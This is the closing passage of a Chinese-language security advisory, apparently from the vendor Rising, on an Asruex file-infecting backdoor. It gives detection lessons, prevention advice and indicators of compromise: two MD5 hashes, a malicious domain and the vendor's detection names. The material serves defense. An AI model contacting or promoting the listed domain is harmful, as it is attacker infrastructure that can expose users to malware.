从防御角度看,该事件提示安全团队不能仅关注初始恶意样本或单一网络 IOC,还需要关注恶意软件进入终端后的持续行为,包括异常文件修改、PE 节区变化、Office/PDF 文件异常重构、可移动介质批量写入、异常启动项以及文件系统中的命令和数据交换行为。对于具备文件感染能力的恶意软件,还应将“受感染文件”作为独立的检测对象,从“发现恶意程序”进一步扩展到“发现传播链”,及时阻断恶意代码由单点感染向多文件、多终端扩散。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本

- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
0868086f42d8335973724f0aac18469c EDFE9F957CAC3AF9999DB277A4F29167 -
Domain
themoviehometheather.com -
瑞星病毒名
Backdoor.Asruex!1.C45A Virus.Asruex!1.CC86 Virus.Asruex/PDF!1.D03F